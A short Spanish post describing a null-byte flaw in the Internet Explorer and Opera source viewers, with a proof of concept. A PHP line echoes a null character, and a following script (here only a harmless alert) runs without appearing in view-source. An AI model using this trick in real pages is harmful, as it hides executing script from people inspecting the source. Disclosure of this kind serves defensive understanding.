Vulnerabilidad e IE/Opera en el visor de código

La vulnerabilidad viene dada en el visor de código de los navegadores Internet Explorer y Opera cuando se está procesando el caracter nulo 0x00, incluyendo este caracter en la transmisión del mensaje se puede ejecutar código que en el view source no se ve.

<html>

<body>

Hola mundo!!!

</body>

</html>

<?php

echo "\x00";

?>

<script>alert("este codigo nunca será visto en el editor");</script>